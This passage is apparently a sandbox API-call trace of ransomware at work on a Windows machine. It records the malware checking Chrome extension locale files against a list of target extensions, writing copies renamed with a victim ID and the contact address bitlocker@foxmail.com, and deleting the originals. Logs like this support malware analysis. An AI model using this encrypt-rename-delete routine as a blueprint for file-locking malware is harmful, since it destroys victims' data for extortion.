[0173.620] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.620] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.620] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.620] lstrlenW (lpString=".doc") returned 4 [0173.620] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.620] lstrlenW (lpString=".docx") returned 5 [0173.620] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.620] lstrlenW (lpString=".pdf") returned 4 [0173.620] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.620] lstrlenW (lpString=".xls") returned 4 [0173.620] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.620] lstrlenW (lpString=".xlsx") returned 5 [0173.620] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.620] lstrlenW (lpString=".ppt") returned 4 [0173.620] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.620] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.620] lstrlenW (lpString=".zip") returned 4 [0173.620] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.620] lstrlenW (lpString=".rar") returned 4 [0173.620] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.620] lstrlenW (lpString=".bz2") returned 4 [0173.620] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.621] lstrlenW (lpString=".7z") returned 3 [0173.621] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.621] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.621] lstrlenW (lpString=".dbf") returned 4 [0173.621] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.621] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.621] lstrlenW (lpString=".1cd") returned 4 [0173.621] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.621] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.621] lstrlenW (lpString=".jpg") returned 4 [0173.621] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.621] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.621] lstrlenW (lpString="messages.json") returned 13 [0173.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.621] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=243) returned 1 [0173.622] CloseHandle (hObject=0x320) returned 1 [0173.622] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json")) returned 0x2020 [0173.622] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.622] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.622] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.622] GetLastError () returned 0x0 [0173.623] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xf3, lpOverlapped=0x0) returned 1 [0173.624] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.625] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.625] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.625] SetEndOfFile (hFile=0x198) returned 1 [0173.625] CloseHandle (hObject=0x198) returned 1 [0173.625] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.625] SetEndOfFile (hFile=0x320) returned 1 [0173.626] CloseHandle (hObject=0x320) returned 1 [0173.626] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.626] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json")) returned 1 [0173.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.626] lstrlenW (lpString=".doc") returned 4 [0173.626] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.626] lstrlenW (lpString=".docx") returned 5 [0173.626] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.626] lstrlenW (lpString=".pdf") returned 4 [0173.626] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.626] lstrlenW (lpString=".xls") returned 4 [0173.626] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.627] lstrlenW (lpString=".xlsx") returned 5 [0173.627] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.627] lstrlenW (lpString=".ppt") returned 4 [0173.627] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.627] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.627] lstrlenW (lpString=".zip") returned 4 [0173.627] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.627] lstrlenW (lpString=".rar") returned 4 [0173.627] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.627] lstrlenW (lpString=".bz2") returned 4 [0173.627] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.627] lstrlenW (lpString=".7z") returned 3 [0173.627] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.627] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.627] lstrlenW (lpString=".dbf") returned 4 [0173.627] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.627] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.627] lstrlenW (lpString=".1cd") returned 4 [0173.627] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.627] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.627] lstrlenW (lpString=".jpg") returned 4 [0173.627] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.627] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.627] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.627] lstrlenW (lpString=".doc") returned 4 [0173.627] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.627] lstrlenW (lpString=".docx") returned 5 [0173.627] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.628] lstrlenW (lpString=".pdf") returned 4 [0173.628] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.628] lstrlenW (lpString=".xls") returned 4 [0173.628] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.628] lstrlenW (lpString=".xlsx") returned 5 [0173.628] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.628] lstrlenW (lpString=".ppt") returned 4 [0173.628] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.628] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.628] lstrlenW (lpString=".zip") returned 4 [0173.628] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.628] lstrlenW (lpString=".rar") returned 4 [0173.628] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.628] lstrlenW (lpString=".bz2") returned 4 [0173.628] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.628] lstrlenW (lpString=".7z") returned 3 [0173.628] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.628] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.628] lstrlenW (lpString=".dbf") returned 4 [0173.628] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.628] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.628] lstrlenW (lpString=".1cd") returned 4 [0173.628] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.628] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 152 [0173.628] lstrlenW (lpString=".jpg") returned 4 [0173.628] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.629] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.629] lstrlenW (lpString="messages.json") returned 13 [0173.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.629] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=256) returned 1 [0173.629] CloseHandle (hObject=0x320) returned 1 [0173.631] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json")) returned 0x2020 [0173.631] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.632] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.632] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.632] GetLastError () returned 0x0 [0173.632] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x100, lpOverlapped=0x0) returned 1 [0173.633] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.634] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.634] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.634] SetEndOfFile (hFile=0x198) returned 1 [0173.634] CloseHandle (hObject=0x198) returned 1 [0173.634] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.634] SetEndOfFile (hFile=0x320) returned 1 [0173.635] CloseHandle (hObject=0x320) returned 1 [0173.635] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.635] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json")) returned 1 [0173.636] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.636] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.636] lstrlenW (lpString=".doc") returned 4 [0173.636] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.636] lstrlenW (lpString=".docx") returned 5 [0173.636] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.636] lstrlenW (lpString=".pdf") returned 4 [0173.636] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.636] lstrlenW (lpString=".xls") returned 4 [0173.636] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.636] lstrlenW (lpString=".xlsx") returned 5 [0173.636] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.636] lstrlenW (lpString=".ppt") returned 4 [0173.636] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.636] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.636] lstrlenW (lpString=".zip") returned 4 [0173.636] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.636] lstrlenW (lpString=".rar") returned 4 [0173.636] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.636] lstrlenW (lpString=".bz2") returned 4 [0173.636] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.636] lstrlenW (lpString=".7z") returned 3 [0173.727] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.727] lstrlenW (lpString=".dbf") returned 4 [0173.727] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.727] lstrlenW (lpString=".1cd") returned 4 [0173.727] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.728] lstrlenW (lpString=".jpg") returned 4 [0173.728] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.728] lstrlenW (lpString=".doc") returned 4 [0173.728] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.728] lstrlenW (lpString=".docx") returned 5 [0173.728] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.728] lstrlenW (lpString=".pdf") returned 4 [0173.728] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.728] lstrlenW (lpString=".xls") returned 4 [0173.728] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.728] lstrlenW (lpString=".xlsx") returned 5 [0173.728] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.728] lstrlenW (lpString=".ppt") returned 4 [0173.728] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.728] lstrlenW (lpString=".zip") returned 4 [0173.728] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.728] lstrlenW (lpString=".rar") returned 4 [0173.728] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.728] lstrlenW (lpString=".bz2") returned 4 [0173.728] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.728] lstrlenW (lpString=".7z") returned 3 [0173.728] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.728] lstrlenW (lpString=".dbf") returned 4 [0173.728] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.729] lstrlenW (lpString=".1cd") returned 4 [0173.729] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.729] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 152 [0173.729] lstrlenW (lpString=".jpg") returned 4 [0173.729] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.729] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.729] lstrlenW (lpString="messages.json") returned 13 [0173.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.729] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=259) returned 1 [0173.729] CloseHandle (hObject=0x19c) returned 1 [0173.729] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0173.730] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 